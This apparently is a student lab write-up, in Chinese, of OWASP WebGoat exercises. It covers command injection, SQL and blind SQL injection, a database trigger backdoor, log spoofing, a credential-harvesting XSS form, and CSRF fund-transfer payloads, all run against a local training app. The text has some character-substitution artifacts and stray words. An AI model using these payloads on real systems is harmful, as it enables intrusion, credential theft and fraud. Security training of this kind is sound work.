1.实践内容html
2.一些问题java
答:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认做正常SQL指令后正常执行,可能实现对后台数据库进行各类操做,甚至形成破坏后台数据库等严重后果。防护手段:不容许提交含有特殊字符的字符串,加密数据库中的内容等。git
答:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。防护手段:表单提交的时候检测特殊字符的存在;消除网站的XSS漏洞,网站开发者运用转义安全字符手段等。github
答:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。对于每个重要的post提交页面,都使用一个验证码。每个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,若是token不对,就断定为CSRF攻击。按期清理cookie,甚至不使用cookieweb
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操做隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。sql
一、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载webgoat-container-7.0.1-war-exec.jar
,放到kali中。数据库
二、在命令行输入java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,等待一小会后出现以下提示则运行成功。
后端
三、在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登陆界面
浏览器
四、使用页面下端任意一个帐号密码进行登陆,能够看到以下页面:
安全
五、接下来就是在左侧选择各类选项进行相应的测试。
简介:命令注入就是经过在要提交的文本框中输入一些命令,提交后这些命令被执行,从而达到必定的目的。
(1)首先能够看到页面中有一个复选框,里面有不少选项,它们都是合法的
(2)咱们要作的是经过修改源代码,在其中一个选项的后面添加一些指令,经过选择修改后的选项,点击view
达到效果。
(3)右击页面,选择inspect Element
查看页面源代码进行修改,双击复选框中任意一栏的代码进行编辑,添加"& pwd"。
(4)在复选框中选择该项,点击view
,发现添加的命令被成功执行,攻击成功。
简介:经过在要提交的文本框中加入一些其余的逻辑条件,来在没有权限的状况下绕过权限的限制,获得更多的东西。
(1)首先在页面中咱们能够看到这只是一个简单的天气查询,在复选框中选择一个城市,点击go
后能够查看所选择的城市的天气。这里复选框中只有四个选项
(2)咱们能够猜想,这里的数据库语句应该是在数据库中查找城市对应编号所在的行,而后输出天气。
(3)右击页面,选择inspect Element
查看页面源代码进行修改,找到复选框代码所在位置后,双击对value="102"
进行修改,在后面添加or 1=1
。
(4)选择该城市,点击go
。发现全部城市的天气信息都被输出,其中还有两个是选项里没有的。攻击成功
简介:在进行web攻击后,每每会在日志文件中留下本身的攻击痕迹。经过日志欺骗,能够伪造日志,消除或掩盖本身的攻击痕迹。
(1)在 username 中填入zwy%0d%0aLogin Succeeded for username: admin
,其中%0d%0a是回车和换行符号的ASCII码,密码任意。点击登陆,能够看到以下信息。
(2)这样看起来就好像是有一个帐号admin登陆了网页。但其实这是假的。攻击者能够利用这种方式向日志文件中添加恶意脚本。好比在用户名输入admin <script>alert(document.cookie)</script>
并提交,那么管理员页面就会弹出一个cookies信息。
这里有4个步骤,可是Stage 2和Stage 4仅适用于WebGoat的开发版本
Stage 1: 字符串型注入
目标是绕过登陆。
(1)首先尝试选择管理员身份,密码输入' or '1' = '1
。在密码输入的时候会发现这里设置了长度限制,' or '1' = '1
占13个长度,而密码框限制了输入长度为8
(2)根据上面的经验能够判断出须要修改页面源代码。
(3)右击页面,选择inspect Element
查看页面源代码。右击页面,选择inspect Element
查看页面源代码进行修改,修改密码框的长度为13。
(4)再次在密码框输入' or '1' = '1
,发现这回没有被限制。点击登陆后弹出以下提示,攻击成功
Stage 3: 数字型 SQL 注入
目标:使用员工Larry的身份,查看老板Neville的信息。
(1)先使用Stage 1的方法,绕过登陆,查看Larry的信息。
(2)右键点击页面,选择inspect Element
查看页面源代码,找到选项框中的信息Larry Stooge
所在的代码位置。
(3)相关人员信息就是经过value中的值进行搜索的。一般来讲老板的工资是最高的,工资字段通常都是salary
,因此修改value为101 or 1=1 order by salary desc
,点击ViewProfile
,发现获得老板的信息,攻击成功。
(1)这个网站能够查询用户的信用卡号码。这里较为简单,原理与上面的数字型注入类似。
(2)在用户名框输入' or 1=1--
,点击go
,得到全部用户的信用卡号码
(1)目标:建立一个数据库后门。尝试在输入查询id的同时注入命令增长工资。
(2)什么是数据库后门?数据库一般做为一个 Web 应用程序的后端来使用。此外,它也用来做为存储的媒介。 它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操做,如增删改查。好比:攻击者能够建立一个触发器, 使得建立新用户时将每一个新用户的工资增长10000。
(3)这个网站的做用是输入用户id,返回用户相应信息。输入`101
进行搜索,能够看到如今的工资是55000
(4)输入101; update employee set salary=66666
修改工资为66666。
(3)输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid
,完成攻击。
注:CREATE TRIGGER myBackDoor是建立一个后门。BEFORE是在....以前。这条语句是在插入新的数据以前把新员工的工资项加10000后再放入数据库。
简介:通常来讲, SQL 注入是没有明确返回信息的,这时候的注入就叫作盲注。
目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。
(1)该网站容许输入一个账号,并检测该账号是否合法。若是合法(存在),则提示有效,不然提示无效。好比:
(2)这里咱们能够利用AND。这样一来当AND两边恒为真时,才会提示有效,不然提示无效。
(3)接下来就是利用数据库语句进行测试来找出pin的id。在文本框输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
。发现无效,说明≤5000。
(4)接下来经过不断地折半查找,获得pin为2364
目标:与7类似,不过这里的pin字段变成varchar。
(1)一样的,利用AND。首先输入101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)
测试一下pin的长度。显示
(2)继续进行尝试,发现长度是4。
(3)接着输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )
来不断对第n个字母进行确认。这里过程琐碎就再也不列出。最后获得pin字段是Jill
简介:原理:当用户输入非法 HTTP 响应时容易形成 XSS,jsp代码被执行。
(1)右击页面,选择inspect Element
查看页面源代码。右击页面,选择inspect Element
查看页面源代码进行修改,双击其中任意一个部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
(2)搜索这段代码,出现以下界面
(3)输入任意,点击提交
简介:常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。由于是留言,因此任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
(1)在title中任意输入字符,留言板中输入<script>alert("You've been attacked!!!");</script>
,提交。
(2)提交后能够看见在下方出现了一个以title命名的连接,点击后执行刚刚的html语句,攻击成功
简介:攻击者使用攻击脚本建立一个URL,其访问另外一个网站,经过各类方式来让受害者点击它。
(1)直接输入<script>alert("You've been attacked!!!");</script>
,点击purse便可。
跨站点请求伪造(csrf/xsrf)是一种攻击,诱骗受害者加载包含img连接的页面,以下所示: 当受害者的浏览器试图呈现加载某个“图片”(实际上包含了对其余网站的请求)时,它将向www.mybank.com发出一个带有指定参数的TransferFunds.do页面请求。浏览器会认为连接是为了获取图像,即便它其实是一个资金转移功能。该请求将包括与站点关联的全部cookie。所以,若是用户已经对站点进行了身份验证,而且拥有永久cookie,甚至当前会话cookie,那么站点将没法将其与合法的用户请求区分开来。经过这种方式,攻击者可让受害者执行他们不打算执行的操做,例如注销、购买物品或脆弱网站提供的任何其余功能。
(2)右侧Parameters中的src和menu值,分别为282和900
(3)标题任意,内容输入<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=4000" width="1" height="1" />
,而后提交。
(4)能够看到下方出现一个链接,能够点。点击后触发CSRF事件,攻击成功
(1)实现跨站请求伪造攻击(CSRF),包括经过多个请求绕过用户确认脚本命令
(2)与CSRF课程相似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您能够从右边的插图中复制课程的参数,建立格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。不管谁收到这封电子邮件,而且碰巧在那个时候经过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面。
(3)在title框中任意输入,message框中输入代码:<iframe src="attack?Screen=297&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=297&menu=900&transferFunds=CONFIRM"> </iframe>